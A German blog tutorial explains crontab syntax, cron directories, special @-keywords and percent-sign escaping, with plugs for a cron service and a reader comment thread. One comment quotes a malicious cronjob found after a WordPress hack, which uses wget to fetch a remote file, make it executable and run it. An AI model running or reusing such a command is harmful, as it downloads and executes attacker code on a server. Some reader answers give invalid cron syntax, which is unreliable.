Crontab Syntax und Tutorial: Cronjobs unter Linux einrichten und verstehen

Mit Hilfe von Cronjobs können auf Unix- und Linux-Systemen Vorgänge automatisiert und zu einem bestimmten Zeitpunkt immer wiederkehrend ausgeführt werden. Die Steuerung erfolgt dabei über sogenannte Crontab-Einträge, die in einer speziellen Datei – der Crontab – abgelegt werden.

Diese Vorgänge können einzelne Befehle, Shell-Scripts, Programme, PHP- und sonstige Scriptsprachen-Scripts oder auch eine Anreihung von Linux-Befehlen sein. Beispielsweisse werden Backups, die wöchentlich, täglich oder stündlich geschehen sollen meist per Cronjob ausgeführt.

💡 Tipp:
Du willst Cronjobs ohne eigenen Server ausführen?
Dann schau dir runit.so – eine einfache API-basierte Cronjob-Alternative an.
Ideal für Entwickler, die Jobs oder Webhooks programmatisch planen wollen.

Crontab

Crontab wird die Tabelle genannt, in der die einzelnen Cronjobs definiert und konfiguriert werden. Die Tabelle enthält pro Zeile den Zeitpunkt und die Befehlsfolge, die ausgeführt werden soll. Der Begriff Crontab setzt sich aus dem griechischen Chronos (Zeit) und lateinischen Tabula (die Tafel, das Brett) zusammen.

Gleichzeitig ist crontab auch das Programm, mit dessen Hilfe man die Crontabs bearbeiten kann. Um die Contab zu bearbeiten, muß folgender Befehl eingegeben werden:

crontab -e

Crontab-Befehle im Überblick

Hier sind die wichtigsten Optionen, die du kennen solltest:

Befehl Funktion
crontab -e Crontab bearbeiten (öffnet Standard-Editor)
crontab -l Aktuelle Crontab anzeigen
crontab -r Crontab löschen
crontab -u benutzer Crontab eines anderen Nutzers verwalten (nur als root)


Crontab Syntax

Jeder Cronjob hat folgendes Format:

* * * * * auszuführender Befehl
┬ ┬ ┬ ┬ ┬
│ │ │ │ │
│ │ │ │ └──── Wochentag (0-7, Sonntag ist 0 oder 7)
│ │ │ └────── Monat (1-12)
│ │ └──────── Tag (1-31)
│ └────────── Stunde (0-23)
└──────────── Minute (0-59)

Ein Stern * bedeutet Ausführung wird immer erfolgen, also zu jeder Minute, jeder Stunde, jedem Tag, jedem Monat oder jedem Wochentag. Um die einzelnen Stellen auseinander zu halten, hilft folgendes Diagram:

1 2 3 4 5 Befehl

1 = Minute (0-59)
2 = Stunde (0-23)
3 = Tag (0-31)
4 = Monat (1-12)
5 = Wochentag (0-7, Sonntag ist 0 oder 7)
Befehl = Der auszuführende Befehl.

Für die ersten fünf Stellen, also die Zeiwerte sind folgende Optionen zusätzlich möglich:

* = Ausführung immer (zu jeder…)
*/n = Ausführung aller n
n,x,y = Ausführung um/am n, x und y

Cronjob Beispiele

Um zum Beispiel jede Nacht um 5 Uhr morgens das Backup auszuführen, würde man den Cronjob folgendermaßen anlegen:

0 5 * * * /usr/bin/backup.sh

Einen Sound alle 10 Minuten Abzuspielen könnte wie folgt aussehen:

*/10 * * * * /usr/bin/play_sound.sh

Eine Erinnerungsmail um 8 und um 17 Uhr zu verschicken geht z.B. so:

0 8,17 * * * /usr/bin/send_reminder_mail.sh

An einem bestimmten Tag, beispielsweisse am 31.12. um 23:59 Uhr, eine Mail zu versenden, könnte so aussehen:

59 23 31 12 * (echo "Lass uns die Raketen holen" | mail -s "Gleich knallt es" user@domain.xy)

Ausgabe der Cronjobs

Die Ausgabe der Cronjobs wird standardmässig per Mail an den jeweiligen System-User der den Cronjob eingerichtet hat gesendet. Um dies zu unterdrücken, könnte man die Ausgabe in eine Datei umleiten oder mit Umleitung zu /dev/null komplett verwerfen:

Cronjob-Ausgabe in Logfile umleiten

0 8,17 * * * /usr/bin/script.sh >>/var/log/cron/send_reminder_mail 2>&1

Cronjob-Ausgabe verwerfen

0 8,17 * * * /usr/bin/script.sh >/dev/null 2>&1

2>&1 bedeutet, das sowohl die normale Ausgabe als auch Fehler in die vorher angegebene Datei umgeleitet werden.

Cronjob-Dateien und Verzeichnisse

Zusätzlich zum crontab-Befehl gibt es je nach Distribution Dateien, die systemweite Crontabs beinhalten und nur durch den User root bearbeitet werden können:

/etc/crontab

Die System-Crontab-Datei, in der zusätzlich noch ein System-Benutzer, der den Befehl ausführen soll, mit angegeben werden muß:

1 2 3 4 5 Benutzer Befehl

1 = Minute (0-59)
2 = Stunde (0-23)
3 = Tag (0-31)
4 = Monat (1-12)
5 = Wochentag (0-7, Sonntag ist 0 oder 7)
Benutzer = Benutzername des Benutzers, unter dem der Befehl ausgeführt wird.
Befehl = Der auszuführende Befehl.

Beispiel:
0 8,17 * * * root /usr/bin/script.sh >>/var/log/cron/send_reminder_mail 2>&1
0 3 * * * wwwrun /usr/bin/webjobs_nighly.sh >>/var/log/cron/send_reminder_mail 2>&1

/etc/cron* Verzeichnisse

Eine weitere Möglichkeit Cronjobs anzulegen sind die Verzeichnisse unter /etc/cron*, in denen alle enthaltenen Dateien zum bestimmten Zeitpunkt ausgeführt werden. Die Dateien im Einzelnen

/etc/cron.d/ = Erweiterungen zur /etc/crontab-Datei, gleiche Syntax.
/etc/cron.daily/ = Einmal irgendwann täglich.
/etc/cron.hourly/ = Einmal irgendwann stündlich.
/etc/cron.monthly/ = Einmal irgendwann monatlich.
/etc/cron.weekly/ = Einmal irgendwann wöchentlich.

Die letzten vier werden oft genutzt, wenn ein Job in einem bestimmten Interval erledigt werden muß, der genaue Zeitpunkt hierfür aber unerheblich ist.

Erweiterte Crontab-Syntax – Spezialwörter & Beispiele

In Crontab kannst du nicht nur klassische Zeitangaben wie 0 0 * * * verwenden, sondern auch praktische Kürzel, sogenannte „Spezial-Strings“:

Special-Syntax Bedeutung
Beispiel
@reboot
Beim Systemstart oder Reboot
@reboot /home/user/scripts/startup.sh
@yearly
Einmal im Jahr (am 1. Januar um 00:00 Uhr)
@yearly /home/user/backup.sh
@annually
Alias für @yearly (am 1. Januar um 00:00 Uhr)
@annually /home/user/backup.sh
@monthly
Einmal im Monat (am 1. Tag um 00:00 Uhr)
@monthly /home/user/report.sh
@weekly
Einmal pro Woche (Sonntag um 00:00 Uhr)
@weekly /home/user/cleanup.sh
@daily
Einmal täglich (00:00 Uhr)
@daily /home/user/rotate-logs.sh
@midnight
Alias für @daily, Mitternacht (00:00 Uhr)
@midnight /home/user/db-dump.sh
@hourly
Einmal pro Stunde (zur vollen Stunde)
@hourly /home/user/check-status.sh

Hinweis: Diese Beispiele gelten nur für Benutzer-Crontabs, also z. B. beim Bearbeiten mit crontab -e. In der System-Crontab (/etc/crontab) muss zusätzlich der Benutzername angegeben werden. Zum Beispiel: @reboot tommy /home/user/scripts/startup.sh


Ein Tipp zur Verwendung des Prozentzeichens in Crontabs

Manchmal kommt es vor, dass man – beispielsweisse bei der Verwendung eines Datums – das Prozentzeichen innerhalb eines Crontab-Befehles nutzen möchte:

0 8,17 * * * /usr/bin/script.sh >>/var/log/cron/script_$(date +%Y%m%d).log

Leider wird dies so nicht funktionieren und Crontab verweigert die Ausführung des Cronjobs mit der folgenden oder einer ähnlichen Fehlermeldung:

/bin/sh: -c: line 0: unexpected EOF while looking for matching `)'
/bin/sh: -c: line 1: syntax error: unexpected end of file

Grund hierfür ist, dass Prozentzeichen im 6. Feld einer jeden Crontab-Zeile generell in einen Zeilenumbruch übersetzt werden. Zitat aus der Crontab Manpage:

The sixth field of a line in a crontab file is a string that
is executed by the shell at the specified times. A percent
character in this field (unless escaped by \) is translated
to a NEWLINE character.

Only the first line (up to a `%‘ or end of line) of the com-
mand field is executed by the shell. Other lines are made
available to the command as standard input. Any blank line
or line beginning with a `#‘ is a comment and is ignored.

Die Lösung ist, das Prozenzeichen zu escapen, daher einen Backslash voran zu stellen:

0 8,17 * * * /usr/bin/script.sh >>/var/log/cron/script_$(date +\%Y\%m\%d).log

So steht dann auch der Nutzung des Datums mit Prozentzeichen nichts mehr im Wege.

Häufige Fragen zur Crontab

Was ist eine Crontab?

Die Crontab ist eine spezielle Textdatei unter Unix/Linux, in der wiederkehrende Aufgaben (Cronjobs) definiert werden. Sie enthält Zeitangaben und die jeweiligen Befehle, die automatisch ausgeführt werden sollen.

Was macht der Befehl crontab?

Mit dem Befehl crontab kannst du Cronjobs erstellen, bearbeiten (-e), anzeigen (-l) oder löschen (-r). Ein Cronjob ist ein wiederkehrender Befehl, der vom Hintergrunddienst cron automatisch zur angegebenen Zeit ausgeführt wird.

Wie öffne ich meine Crontab?

Mit dem Befehl crontab -e kannst du deine persönliche Crontab im Standard-Editor öffnen und bearbeiten.

Wie sehe ich meine aktuellen Cronjobs?

Gib crontab -l im Terminal ein, um alle aktuell eingetragenen Cronjobs in deiner Crontab anzuzeigen.

Welche Zeitangaben gibt es in der Crontab?

Die Crontab verwendet 5 Felder: Minute, Stunde, Tag, Monat und Wochentag. Zusätzlich gibt es Spezialzeichen wie @daily oder @reboot für häufige Zeitvorgaben.

Wohin geht die Ausgabe meiner Cronjobs?

Standardmäßig wird die Ausgabe per Mail an den Benutzer geschickt, der den Cronjob eingerichtet hat. Alternativ kannst du die Ausgabe in ein Logfile umleiten oder nach /dev/null verwerfen.

Gibt es Alternativen zur klassischen Crontab?

Ja, es gibt einige Alterntaiven zur Crontab, wie zum Beispiel at, anacron oder fcron. Wenn du es lieber bequem und per Web-App verwalten möchtest, hilft dir runit.so, eine API-basierte Cronjob-Alternative für Entwickler, mit der du Tasks programmatisch planen kannst – ganz ohne eigenen Server.

Cronjobs ohne eigenen Server? runit.so macht’s möglich.

Wenn du Cronjobs oder andere zeitgesteuerte Tasks ausführen möchtest, ohne dafür einen eigenen Server zu betreiben oder dich mit Crontabs herumzuschlagen:
👉 runit.so ist eine einfache, API-basierte Lösung speziell für Entwickler.

Mit runit.so kannst du:

  • HTTP-Calls zeitgesteuert ausführen (einmalig oder wiederkehrend)
  • Webhooks verzögert oder zu festen Zeiten senden
  • Recurring Jobs wie bei klassischen Cronjobs erstellen – aber komplett serverless
  • Alles per REST API – ohne eigene Infrastruktur oder Cronjob-Setup

Aktuell noch in der Warteliste-Phase:
Du kannst dich jetzt auf die Waitlist setzen lassen und wirst benachrichtigt, sobald der Service öffentlich verfügbar ist.
👉 Jetzt auf die Warteliste setzen


Crontab und gut?

Ich hoffe, ich konnte einen kleinen Einblick in die Cronjobs unter Linux geben und dem ein oder anderen bei der Syntax behilflich sein. Dieser Artikel entsteht auch mit etwas Eigennutz, da ich auch oft überlegen muß, wie die genaue Reihenfolge in der Crontab nun ist. Es gibt natürlich noch eine Menge anderer Tools wie at, anacron, fcron und so weiter. Cronjob hat für mich jedoch sehr zuverlässig gearbeitet, weshalb ich andere Tools noch nicht in Betracht gezogen habe.

Let the crons work!


Dir gefällt dieser Beitrag?
Erhalte Updates. Kostenlos.

42 Kommentare

  • Hallo

    besten Dank für diese Ausführungen, aber ich kämpfe mit einem Problem, das sich nicht aus der Welt schaffen will.
    - anhand einem Beispiel, minütlich einen Zeitstempel in eine Script.Log-Datei mittels Crontab schreiben funktioniert einwandfrei!
    eigentlich wäre so alles klar!?
    Nein, denn ich möchte an einem RPi +3B mit Touchscreen nachts die Hintergrundbeleuchtung ausschalten und am Morgen wieder einschalten ( Script für OFF #!/bin/sh rpi-backlight -b 5 // für ON #!/bin/sh rpi-backlight -b 70) diese beiden Script ausführen via CMD -Zeile geht einwandfrei!
    lediglich mittels Crontab nicht (0 23 * * * ~/disp_dark.sh) bzw (30 6 * * * ~/disp_normal.sh) - es erfolgt der Eintrag in der syslog:

    Dec 27 23:00:01 raspi03 CRON[25427]: (pi) CMD (~/disp_dark.sh)
    Dec 27 23:00:01 raspi03 CRON[25426]: (CRON) info (No MTA installed, discarding output)

    Dec 28 06:00:01 raspi03 CRON[4206]: (pi) CMD (~/disp_normal.sh)
    Dec 28 06:00:01 raspi03 CRON[4205]: (CRON) info (No MTA installed, discarding output)

    egal wie ich es anstelle, ob unter pi pi oder root root für Script oder Crontab, es kommt immer aufs selbe heraus

    pi@raspi03:~ $ ls -als *sh
    4 -rwxr-xr-x 1 root root 116 Dec 21 14:52 chromium_start.sh
    4 -rwxr-xr-x 1 pi pi 31 Dec 27 11:16 disp_dark.sh
    4 -rwxr-xr-x 1 pi pi 32 Dec 27 11:18 disp_normal.sh
    4 -rwxr-xr-x 1 root root 31 Dec 28 11:20 my_dispOFF.sh
    4 -rwxr-xr-x 1 pi pi 30 Dec 26 17:10 my_script.sh

    ich weiss hier nicht mehr weiter

    Gruss Max
  • Benutze überall komplette, absolute Pfade.
    Für rpi-backlight zBsp /usr/bin/rpi-backlight (suche, wo rpi-backlight liegt).
    Auch bei den Scripts disp_dark.sh bzw disp_normal.sh absolute Pfade verwenden.
  • Frage: kann man auch ein Script täglich ausführen, außer am 2ten und 4ten Mittwoch im Monat nicht. Danke
  • Wo kann man normalerweise die Datei finden, die man mit "crontab -e" in der Console bearbeitet?
  • /etc/crontab
  • Du findest die Dateien, die du mit dem Kommando `crontab -e` bearbeiten kannst, unter /var/spool/cron/ bzw. /var/spool/cron/crontabs/.

  • Mit einen Trick kann man auch mit Sekunden arbeiten.
    * * * * * sleep 30; Befehl
    In diesem Beispiel wird der Befehl immer bei Sekunde 30 der Minute ausgeführt.
  • Kleine Ergänzung:
    Anstelle von
    * * * * * * Befehl
    kann auch
    @reboot Befehl
    verwendet werden. Wie das offensichtlich aussagt, wird der Befehl so gleich nach dem Booten ausgeführt.
  • Vielen Dank,
    sehr tolle Anleitung.
    Gruß
    Jens
  • Hallo,
    dieser Eintrag war in Google auf Seite eins für Cronjob Syntaxt. Bravo!
    Ich habe gehofft diesen Cronjob der bei einem Wordpress hack niterlassen wurde zu entziffern.
    Nach der Bereinigung hat der Job immer wieder eine leere Datei "xxxd" ohne Dateiendung im root angelegt.
    wget -q -O xxxd http://hello.hellodolly777.xyz/xxxd && chmod 0755 xxxd && /bin/sh xxxd /usr/www/users/public_html 24 && rm -f xxxd*
  • Guten Tag,
    ich habe in der cronjobdatei das Laden des firewall.sh-scripts und das Staren des CUPS bei Systemstart erfolgreich eingesetzt.
    Meine Frage an euch/dich ist, wie kann ich auf diese Weise die Bildschirmhelligkeit auf 30 % setzen, da dies für mich völlig ausreichend ist.
    Wenn es einen anderen Weg gibt, dies ab Startup zu realisieren, wäre ich auch zufrieden.
    Vielen Dank!
  • Super Tutorial, danke!!
  • Hat mir sehr geholfen!
  • Sehr gut erklärt, Danke. Ich entwickle ein Ticket System basiert auf Node.js und React.js. Die Anwendung stützt ab. Wie kann ich den Express Server in diesem Fall automatisch Neustarten?
  • Habe Deinen Beitrag in meinem Forum verlinkt als "beste deutsche Cronjob Anleitung".
  • Super Beschreibung, klasse.
    Hab schon vor längerem danach alles eingerichtet und klappt bestens.
    Nun sehe ich mir immer wieder mal die erstellte Log Datei der ausgeführten CronJobs an.
    Gibt es dafür eine Möglichkeit, das auch im Log zu ersehen ist, wie lange der CronJob gelaufen ist?
    Das wäre teilweise für mich extrem hilfreich.
    LG
  • Wäre das möglich einen cronjob auf ein bestimmes Jahr einzustellen?
    z.B. am 01.01.2025 um 23:59:59
  • Hallo, nach dem Anmelden per "crontab -e" kann ich die Datei nicht bearbeiten. Ich kann die Pfeiltasten nutzen, aber keine Inhalte bearbeiten.
  • dankeschön habs sofort kapiert

    haste toll gemacht
  • danke, super reinhard
  • Endlich eine perfekte und verständliche Anleitung! Weiter so.
  • wieso findet man nirgends ne erklärung wie ich es schaffe, das in der logdatei auch die uhrzeit mit drin steht?
  • Einfach ein date Kommando vor dem eigentlichen Script einfügen. Im obigen Cronjob-Beispiel etwa so:


    0 8,17 * * * echo -n $(date) " " && /usr/bin/script.sh >>/var/log/cron/send_reminder_mail 2>&1


    Mit && kannst du mehrere Shell-Kommandos verbinden. Die nachfolgenden werden aber Immer nur ausgeführt, wenn der vorhergehende erfolgreich war. Sollte bei date aber gegeben sein ;-)
  • Spitzenmässig, jetzt hab ich Cronjobs verstanden - DANKE! :-)
  • Hi,

    vielen Dank. Es hat mir heute geholfen den Cache für mein WordPress automatisch erstellen zu lassen.

    Grüße aus München

    Uli
  • Sehr gut soweit, vielen Dank. Wie kann man aber einen Job jede Minute im Zeitraum von 18:30 bis 19:30 immer Mittwochs und Samstags ausführen ?
  • Wie kann man aber einen Job jede Minute im Zeitraum von 18:30 bis 19:30 immer Mittwochs und Samstags ausführen ?

    Also wenn ich das richtig verstanden habe, so:
    */1 18.5,19.5 * 3,6 * *
  • Hi,
    der Artikel ist super!
    Alles perfekt erklärt und auf den Punkt gebracht!
    Mach weiter so!
    Moritz
  • Perfekt! Vielen Dank für diese einfache Erklärung. Hat mir sehr geholfen!
  • Super und vor allem vollständig erklärt. DANKE!
  • Was bedeutet das ?
    10 */2 * * *
    immer um 10 nach und 40 nach oder wie?
    also jede halbe stunde + 10 min?
  • > Was bedeutet das ?
    > 10 */2 * * *

    Es bedeutet immer zur Minute 10 (also um "10 nach"), aber nicht in jeder Stunde, sondern bloß alle 2 Stunden.
  • Danke für die übersichtliche und umfangreiche Erklärung!
  • Danke, sehr schön erklärt. :)
  • .:: Super, endlich eine verständliche Erklärung ::.
  • Schön & Dankeschön ! :)
  • Sehr gut gemacht ... Danke!
  • Tutorial super erklärt
  • Hallo guten Abend,
    versuche vergeblich einen von der Konsole fehlerfrei durchgeführten Befehl per crontab zu starten :

    /usr/share/playonlinux/playonlinux --run "Microsoft Excel 2010" /home/fhemlog/Hauslog/auto_open.xlsm

    Was müsste hier angepasst werden ? Mit Crontabs an sich komme ich schon klar, aber warum es von der Konsole funktioniert und nicht per crontab (mit oder ohne sudo) kapiere ich nicht.
    Gruß Peter

Was denkst du?